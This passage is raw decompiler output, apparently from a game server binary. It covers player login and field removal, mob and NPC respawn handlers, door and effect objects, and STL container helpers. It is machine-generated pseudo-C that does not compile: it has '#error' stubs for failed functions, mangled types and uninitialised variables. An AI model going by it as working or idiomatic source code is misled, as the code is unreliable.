*))(*(_DWORD *)v1 + 1336))(v1) == -1 ) goto LABEL_17; v9 = (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1); } if ( *(#585 **)((char *)v1 + 98) == MapClusterManager::MapCluster::mc_FindExistByRegnum(v7, v9) ) { v11 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } LABEL_17: ShineObjectClass::ShinePlayer::sp_2Roumen(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"); } //----- (0042D300) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveField(void *this) { void *v1; // esi@1 int v2; // eax@3 int v3; // edi@4 unsigned __int16 v4; // bp@5 unsigned __int16 v5; // cx@6 int v6; // eax@7 int v7; // esi@7 unsigned __int16 v8; // bx@7 bool v9; // cf@7 int v10; // eax@8 int v11; // eax@9 int v12; // eax@11 int v13; // eax@14 char v14; // cl@14 int v15; // eax@14 int v16; // eax@15 int v17; // eax@18 char *v18; // [sp-10h] [bp-24h]@2 std::_Tree,std::allocator,0> >::iterator v19; // [sp+0h] [bp-14h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveField"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveField"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = *(std::_Tree,std::allocator,0> >::iterator *)((char *)v1 + 98); if ( *(_DWORD *)((char *)v1 + 98) ) { v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1304))(v1); if ( v2 ) { v3 = v2 + 3480; if ( v2 != -3480 ) { v4 = *(_WORD *)(*(_DWORD *)(v2 + 3488) + 12 * *(_WORD *)(v2 + 3494) + 4); while ( 1 ) { v5 = *(_WORD *)(v3 + 4); if ( v4 >= v5 ) break; v6 = *(_DWORD *)(v3 + 8); v7 = v4; v8 = v4; v9 = v4 < v5; v4 = *(_WORD *)(v6 + 12 * v4 + 4); if ( v9 && (v10 = v6 + 12 * v7, *(_BYTE *)(v10 + 8)) ) v11 = *(_DWORD *)v10; else v11 = 0; v12 = **((_DWORD **)&unk_611F6C + 3 * *(_DWORD *)(v11 + 4)); if ( v12 && FieldMap::fm_IsRefuseAbstate(v19, *(_DWORD *)(v12 + 34)) ) { if ( v8 < *(_WORD *)(v3 + 4) && (v13 = *(_DWORD *)(v3 + 8), v14 = *(_BYTE *)(v13 + 12 * v7 + 8), v15 = v13 + 12 * v7, v14) ) v16 = *(_DWORD *)v15; else v16 = 0; *(_BYTE *)v16 |= 4u; if ( v8 < *(_WORD *)(v3 + 4) && (v17 = *(_DWORD *)(v3 + 8) + 12 * v7, *(_BYTE *)(v17 + 8)) ) *(_DWORD *)(*(_DWORD *)v17 + 24) = clockwatch.cw_CurrTick; else ::v18 = clockwatch.cw_CurrTick; } } } } v18 = "ShineObjectClass::ShinePlayer::sp_RemoveField"; } else { v18 = "ShineObjectClass::ShinePlayer::sp_RemoveField"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); } //----- (0042D480) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0042D4D0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0042D520) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0042D570) -------------------------------------------------------- int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst) { int v3; // eax@1 memmove(dst, src, 4 * ((a2 - (signed int)src) >> 2)); return 4 * ((a2 - (signed int)src) >> 2) + v3; } //----- (0042D5A0) -------------------------------------------------------- #error "42D5A0: undefined or illegal type '#325' (funcsize=24)" //----- (0042D5F0) -------------------------------------------------------- #error "42D5F0: undefined or illegal type '#325' (funcsize=17)" //----- (0042D620) -------------------------------------------------------- #error "42D620: undefined or illegal type '#325' (funcsize=24)" //----- (0042D670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LoginInit(void *this) { void *v1; // ebp@1 int v2; // edx@1 char v3; // al@1 ListIteratorDefault arg; // [sp+4h] [bp-14h]@1 char *v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LoginInit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LoginInit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v6 = 0; *((_BYTE *)v1 + 92128) = -1; (*(void (__thiscall **)(void *))(v2 + 984))(v1); *((_DWORD *)v1 + 23041) = 0; *((_DWORD *)v1 + 23042) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v1 + 23045) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v1 + 23044) = 0; *((_BYTE *)v1 + 66008) = 0; ShineObjectClass::ShinePlayer::sp_RideInitialize(v1); *(_DWORD *)((char *)v1 + 126) = 0; ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear((ShineObjectClass::ShinePlayer::PartyMemberInform *)((char *)v1 + 88932)); v3 = *((_BYTE *)v1 + 7368) & 0xE7; *((_DWORD *)v1 + 23046) = -1; *((_BYTE *)v1 + 7368) = v3; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v5 = (char *)v1 + 92200; LOBYTE(v6) = 1; List::l_4AllInList((List *)((char *)v1 + 92200), &arg); memcpy((char *)v1 + 65800, ¶meter_eraser_plus, 0xC0u); LOBYTE(v6) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)v1 + 360); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LoginInit"); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0042D7B0) -------------------------------------------------------- #error "42D7B0: undefined or illegal type '#325' (funcsize=47)" //----- (0042D870) -------------------------------------------------------- #error "42D870: undefined or illegal type '#325' (funcsize=108)" //----- (0042DA00) -------------------------------------------------------- #error "42DA00: undefined or illegal type '#325' (funcsize=21)" //----- (0042DA40) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::find(...) { std::_Tree >,std::less,std::allocator > > > v3; // edx@1 std::_Tree >,std::less,std::allocator > > > v4; // eax@1 std::_Tree >,std::less,std::allocator > > > *v5; // eax@8 v3 = *((_DWORD *)this + 1); v4 = *(_DWORD *)(v3 + 4); while ( !*(_BYTE *)(v4 + 33) ) { if ( *(_WORD *)(v4 + 12) >= *_Keyval ) { v3 = v4; v4 = *(_DWORD *)v4; } else { v4 = *(_DWORD *)(v4 + 8); } } if ( v3 == *((_DWORD *)this + 1) || *_Keyval < *(_WORD *)(v3 + 12) ) { v5 = result; *result = *((_DWORD *)this + 1); } else { v5 = result; *result = v3; } return v5; } //----- (0042DAB0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, Observer *_First, Observer *_Last) { Observer *i; // esi@1 for ( i = _First; i != _Last; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); } //----- (0042DAE0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 Observer *v6; // eax@2 Observer *v7; // edi@2 Observer *v8; // ebx@2 Observer *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::copy(*(Observer **)&_Last, v4->_Mylast, *(Observer **)&_First); v7 = v4->_Mylast; v8 = v6; for ( i = v6; i != v7; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (0042DB40) -------------------------------------------------------- Observer *__thiscall std::vector>::_Ufill(std::vector > *this, Observer *_Ptr, unsigned int _Count, Observer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0042DB70) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0042DBE0) -------------------------------------------------------- #error "42DBE0: undefined or illegal type '#325' (funcsize=199)" //----- (0042DDC0) -------------------------------------------------------- #error "42DDC0: undefined or illegal type '#325' (funcsize=237)" //----- (0042E060) -------------------------------------------------------- #error "42E060: undefined or illegal type '#325' (funcsize=57)" //----- (0042E0F0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Observer _Val) { Observer *v3; // esi@1 signed int v4; // edx@2 signed int v5; // edx@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } IObserver::_IObserver((ItemSmallBag *)&_Val); } //----- (0042E1A0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this) { #325 **v1; // esi@1 signed int v2; // edx@2 #325 **v3; // eax@6 #325 **v4; // [sp+8h] [bp+4h]@0 v1 = this->_Myfirst; if ( v1 ) v2 = this->_Mylast - v1; else v2 = 0; if ( v1 && v2 < this->_Myend - v1 ) { v3 = this->_Mylast; *v3 = *v4; this->_Mylast = v3 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u); } } //----- (0042E1F0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize) { int (__thiscall **v2)(void *, char); // [sp-10h] [bp-14h]@1 int v3; // [sp-Ch] [bp-10h]@1 int v4; // [sp-8h] [bp-Ch]@1 int v5; // [sp-4h] [bp-8h]@1 int (__thiscall ***v6)(void *, char); // [sp+0h] [bp-4h]@1 v2 = &Observer::_vftable_; v3 = 0; v4 = 0; v5 = 0; v6 = &v2; std::vector>::resize(this, _Newsize, *(Observer *)&v2); } // 5A8804: using guessed type int (__thiscall *Observer___vftable_)(void *p, char); //----- (0042E220) -------------------------------------------------------- #error "42E220: undefined or illegal type '#325' (funcsize=166)" //----- (0042E4A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_door_BuildComplete(ShineObjectClass::ShineDoor *this, unsigned __int16 handle) { ShineObjectClass::ShineDoor *v2; // esi@1 int v3; // edx@1 int v4; // eax@1 int v5; // eax@1 int v6; // eax@2 unsigned int v7; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_BuildComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_BuildComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&v2->gap0[3716]; *(_WORD *)&v2->gap0[102] = 0; *(_BYTE *)v3 = 1; v4 = *(_DWORD *)&v2->gap0[94]; v2->sd_Retrate = 0; *(_DWORD *)v4 = 0; *(_BYTE *)(*(_DWORD *)&v2->gap0[94] + 4) = 0; briefdoor.bixd_Pointer->doornum = 0; v5 = *(_DWORD *)&v2->gap0[98]; if ( v5 && (v6 = *(_DWORD *)(v5 + 16)) != 0 ) v7 = *(_DWORD *)(v6 + 68) * *(_DWORD *)(v6 + 68); else v7 = 0; sightsquar = v7; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); v2->gap0[7368] &= 0xFDu; *(_WORD *)&v2->gap0[102] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_BuildComplete"); } //----- (0042E5A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_effect_BlastComplete(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle) { ShineObjectClass::ShineEffectObject *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 unsigned int v5; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **(_DWORD **)&v2->gap0[94] = 0; *(_BYTE *)(*(_DWORD *)&v2->gap0[94] + 4) = 0; briefeffect.bixe_Pointer->effectnum = 0; v3 = *(_DWORD *)&v2->gap0[98]; if ( v3 && (v4 = *(_DWORD *)(v3 + 16)) != 0 ) v5 = *(_DWORD *)(v4 + 68) * *(_DWORD *)(v4 + 68); else v5 = 0; sightsquar = v5; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"); } //----- (0042E680) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_RegenComplete(void *this, int handle, int iter) { void *v3; // esi@1 int v4; // edx@1 bool v5; // zf@1 int v6; // edx@2 BriefInfoExchanger::BriefInfoExchangeAbstate *v7; // ecx@3 int v8; // eax@5 int v9; // eax@6 unsigned int v10; // eax@7 int v11; // ST04_4@9 int v12; // eax@9 MobTacticElement::MobActionBase *v13; // eax@14 int v14; // edx@16 int v15; // edx@18 int v16; // eax@19 int v17; // eax@19 char v18; // al@20 char v19; // al@20 unsigned int v20; // ecx@20 unsigned int v21; // edx@20 int v22; // ecx@20 unsigned __int16 **v23; // edx@20 MobAttackSequence::AttackElement4Mob *v24; // eax@20 const unsigned __int16 **v25; // ecx@20 int v26; // edx@23 int v27; // ecx@23 char v28; // al@23 int v29; // eax@23 int v30; // eax@24 unsigned int v31; // ecx@26 unsigned int v32; // edx@26 int v33; // eax@26 int v34; // ecx@28 char v35; // al@28 char *v36; // [sp+14h] [bp-28h]@9 ListIteratorDefault arg; // [sp+28h] [bp-14h]@2 char *v38; // [sp+2Ch] [bp-10h]@18 int v39; // [sp+38h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 1884); *((_WORD *)v3 + 51) = 0; *((_DWORD *)v3 + 2072) = 0; *((_WORD *)v3 + 3692) = 2; *((_DWORD *)v3 + 2095) = 0; v5 = *(_BYTE *)(*(_DWORD *)(v4 + 4) + 36) == 0; v39 = 0; if ( v5 ) { arg.vfptr = (ListIteratorDefaultVtbl *)"ShineObjectClass::ShineMob::so_mob_RegenComplete2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **(_DWORD **)((char *)v3 + 94) = 0; *(_BYTE *)(*(_DWORD *)((char *)v3 + 94) + 4) = 3; LOBYTE(v39) = 2; if ( unk_615700 ) (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v3 + 1528))( v3, v3, 288, 1, unk_615700, clockwatch.cw_CurrTick, 0, -1, 0, 3); v36 = "ShineObjectClass::ShineMob::so_mob_RegenComplete2"; } else { arg.vfptr = (ListIteratorDefaultVtbl *)"ShineObjectClass::ShineMob::so_mob_RegenComplete1"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **(_DWORD **)((char *)v3 + 94) = 0; *(_BYTE *)(*(_DWORD *)((char *)v3 + 94) + 4) = 0; v6 = *(_DWORD *)v3; LOBYTE(v39) = 1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1212))(v3) == 8 ) { briefchar.bixc_Pointer->charnum = 0; v7 = &briefabstate_char; } else { BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(&briefmob); v7 = &briefabstate_mob; } BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(v7); v8 = *(_DWORD *)((char *)v3 + 98); if ( v8 && (v9 = *(_DWORD *)(v8 + 16)) != 0 ) v10 = *(_DWORD *)(v9 + 68) * *(_DWORD *)(v9 + 68); else v10 = 0; sightsquar = v10; v11 = *(_DWORD *)((char *)v3 + 78); v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v12, v11, 0, 0, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0, 65535); v36 = "ShineObjectClass::ShineMob::so_mob_RegenComplete1"; } --funcallanalizer.fca_stackpoint; LOBYTE(v39) = 0; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v36); v5 = (*((_BYTE *)v3 + 8852) & 1) == 0; *((_BYTE *)v3 + 7576) = 0; *((_WORD *)v3 + 3789) = -1; *((_DWORD *)v3 + 2095) = 0; if ( v5 ) { v13 = MobTacticElement::MobActionWander::maw_MetronomeReset((MobTacticElement::MobActionWander *)((char *)v3 + 8252)); } else { *((_BYTE *)v3 + 8853) = 0; v13 = (MobTacticElement::MobActionBase *)&MobTacticElement::MobActionArgument::Actor::roaming; } v14 = *((_DWORD *)v3 + 1884); *((_DWORD *)v3 + 2093) = v13; if ( *(_DWORD *)(*(_DWORD *)(v14 + 4) + 45) == 2 ) *((_DWORD *)v3 + 2093) = &MobTacticElement::MobActionArgument::Actor::nobrain; v15 = *((_DWORD *)v3 + 929); *((_WORD *)v3 + 3792) = handle; *((_DWORD *)v3 + 1897) = v3; *(_BYTE *)v15 = 2; Parameter::Container::c_clear((int)((char *)v3 + 4008)); Parameter::Container::c_StoreMob((int)((char *)v3 + 4008), *((_DWORD *)v3 + 1884)); Parameter::Container::c_MakeTotal((char *)v3 + 4008); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v38 = (char *)v3 + 8384; LOBYTE(v39) = 3; List::l_4AllInList((List *)((char *)v3 + 8384), &arg); *((_DWORD *)v3 + 1000) = 0; *((_DWORD *)v3 + 4 * *((_DWORD *)v3 + 998) + 934) = 0; v5 = *((_DWORD *)v3 + 36) == 3; LOBYTE(v39) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; if ( !v5 ) { v16 = *((_DWORD *)v3 + 35); *((_DWORD *)v3 + 42) = 0; *((_DWORD *)v3 + 43) = 0; *((_DWORD *)v3 + 44) = 0; *((_DWORD *)v3 + 45) = 0; *((_DWORD *)v3 + 46) = 0; *((_DWORD *)v3 + 37) = 0; *((_DWORD *)v3 + 36) = 0; v17 = *(_DWORD *)(v16 + 78); *((_DWORD *)v3 + 40) = *(_DWORD *)v17; *((_DWORD *)v3 + 41) = *(_DWORD *)(v17 + 4); } v18 = *((_BYTE *)v3 + 8808); *((_BYTE *)v3 + 7368) &= 0xFEu; *((_WORD *)v3 + 51) = 0; *((_DWORD *)v3 + 1781) = 0; v19 = v18 & 0xFB | 2; *((_BYTE *)v3 + 8808) = v19; v20 = clockwatch.cw_CurrTick; *((_DWORD *)v3 + 931) = clockwatch.cw_CurrTick; v21 = v20; v22 = *(_DWORD *)((char *)v3 + 78); *((_DWORD *)v3 + 930) = v21; *((_DWORD *)v3 + 2198) = *(_DWORD *)v22; *((_DWORD *)v3 + 2199) = *(_DWORD *)(v22 + 4); *((_DWORD *)v3 + 2200) = *(_DWORD *)v22; v23 = (unsigned __int16 **)*((_DWORD *)v3 + 1884); *((_DWORD *)v3 + 2201) = *(_DWORD *)(v22 + 4); *((_BYTE *)v3 + 8808) = v19 & 0xF7; *((_BYTE *)v3 + 8812) = 0; v24 = MobAttackSequence::mas_Find(&mobattseq, **v23); v25 = (const unsigned __int16 **)*((_DWORD *)v3 + 1884); *((_DWORD *)v3 + 1891) = v24; *((_DWORD *)v3 + 1892) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::find( &triggerDic, (std::_Tree >,std::less,std::allocator > > > *)&handle, *v25); if ( handle == dword_13F361F8 ) *((_DWORD *)v3 + 2216) = 0; else *((_DWORD *)v3 + 2216) = handle + 16; v26 = *(_DWORD *)v3; *((_WORD *)v3 + 65) = -1; *((_WORD *)v3 + 66) = -1; *((_BYTE *)v3 + 7116) = 0; *((_DWORD *)v3 + 1780) = 0; (*(void (__thiscall **)(void *))(v26 + 864))(v3); v27 = *((_DWORD *)v3 + 1001); v28 = *((_BYTE *)v3 + 8824) & 0xFB | 1; *((_DWORD *)v3 + 1130) = 0; *((_DWORD *)v3 + 2207) = 0; *((_DWORD *)v3 + 2208) = 60000; *((_BYTE *)v3 + 8824) = v28; *((_DWORD *)v3 + 1776) = (*(int (**)(void))(*(_DWORD *)v27 + 44))(); *((_BYTE *)v3 + 7109) = 0; *((_BYTE *)v3 + 7108) = 0; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v3 + 2716))(v3, 65535); v29 = ***((_WORD ***)v3 + 1884); if ( v29 >= mobchatman.mcm_MaxMobHandle ) v30 = 1000000000; else v30 = (**(int (__thiscall ***)(MobChat::MobChatElementBase *))mobchatman.mcm_Wander[v29])(mobchatman.mcm_Wander[v29]); v31 = clockwatch.cw_CurrTick; v32 = 10 * v30 / 0x3E8u; *((_DWORD *)v3 + 1848) = v32; *((_DWORD *)v3 + 1847) = v31 + v32; v33 = *((_DWORD *)v3 + 2094); if ( v33 ) *(_DWORD *)(v33 + 76) = clockwatch.cw_CurrTick; v34 = *((_DWORD *)v3 + 2052); v35 = *((_BYTE *)v3 + 7368) & 0xE5; *(_DWORD *)((char *)v3 + 126) = 0; *((_BYTE *)v3 + 7368) = v35; *((_DWORD *)v3 + 2095) = 0; *((_WORD *)v3 + 51) = 0; (*(void (**)(void))(*(_DWORD *)v34 + 20))(); *((_BYTE *)v3 + 8808) |= 1u; *((_DWORD *)v3 + 2214) = 0; *((_DWORD *)v3 + 2215) = 0; --funcallanalizer.fca_stackpoint; v39 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete"); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); // 13F361F8: using guessed type int dword_13F361F8; //----- (0042EB80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_mob_RegenComplete(ShineObjectClass::ShineNPC *this, unsigned __int16 handle) { void *v2; // esi@1 int v3; // [sp-4h] [bp-14h]@0 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_RegenComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_mob_RegenComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMob::so_mob_RegenComplete(v2, handle, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_RegenComplete"); } //----- (0042EC20) -------------------------------------------------------- #error "42EC20: undefined or illegal type '#740' (funcsize=69)" //----- (0042ED60) -------------------------------------------------------- void __fastcall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD(int sp, int netcmd, int len, __int16 handle) { int v4; // ebp@1 int v5; // edx@1 unsigned __int8 *v6; // eax@6 unsigned __int16 v7; // si@6 unsigned __int8 v8; // al@6 char v9; // al@10 int v10; // eax@13 int v11; // eax@17 int v12; // edx@17 int v13; // eax@17 int v14; // edx@17 int v15; // eax@17 int v16; // ecx@18 int v17; // esi@18 Name4 *v18; // eax@21 int v19; // ecx@23 int v20; // eax@27 int v21; // eax@29 List *v22; // eax@30 int v23; // eax@33 int v24; // eax@39 char v25; // al@39 signed int v26; // edi@39 unsigned int v27; // ecx@39 char v28; // dl@39 int v29; // eax@39 char *v30; // esi@39 int v31; // eax@39 int v32; // eax@39 int v33; // edx@39 int v34; // edx@39 char v35; // al@41 ZoneBaseSession *v36; // eax@42 signed __int16 v37; // si@43 unsigned __int16 v38; // ax@44 void *v39; // eax@44 int v40; // edx@44 unsigned __int16 v41; // ax@44 char *v42; // esi@45 char *v43; // ecx@47 int v44; // eax@47 int v45; // eax@48 int v46; // edi@49 int v47; // eax@49 int v48; // ecx@49 int v49; // ecx@52 int v50; // eax@52 int v51; // ecx@52 unsigned int v52; // eax@52 BattleStat *v53; // eax@54 int v54; // edx@56 unsigned int v55; // edx@56 int v56; // eax@56 __int16 v57; // ax@56 int v58; // edx@56 char *v59; // ecx@56 int v60; // eax@58 int v61; // edx@58 int v62; // edx@59 int v63; // edx@59 int v64; // eax@59 int v65; // eax@61 int v66; // edx@62 int v67; // ecx@63 AbnormalStateContainer::AbstateElementInObject *v68; // eax@65 void *v69; // ecx@65 void *v70; // ecx@67 int v71; // eax@67 void *v72; // ecx@68 int v73; // eax@68 bool v74; // zf@68 int v75; // eax@72 int v76; // ecx@72 int v77; // edx@73 int v78; // edx@75 int v79; // eax@76 char *v80; // esi@77 __int16 v81; // ax@77 char v82; // al@77 ZoneBaseSession *v83; // eax@78 char *v84; // esi@79 int v85; // eax@79 ZoneBaseSession *v86; // eax@81 int v87; // eax@82 unsigned int v88; // esi@82 KingdomQuest::KQElement *v89; // eax@83 int v90; // eax@86 int v91; // eax@87 char *v92; // eax@88 MapClusterManager::MapCluster *v93; // esi@88 unsigned __int16 v94; // ax@89 char *v95; // ecx@90 char v96; // al@90 int v97; // eax@91 int v98; // edx@91 char *v99; // esi@93 char v100; // al@93 char v101; // al@93 int v102; // eax@94 int v103; // edx@94 int v104; // eax@95 char *v105; // eax@95 char v106; // dl@95 int v107; // eax@97 int v108; // 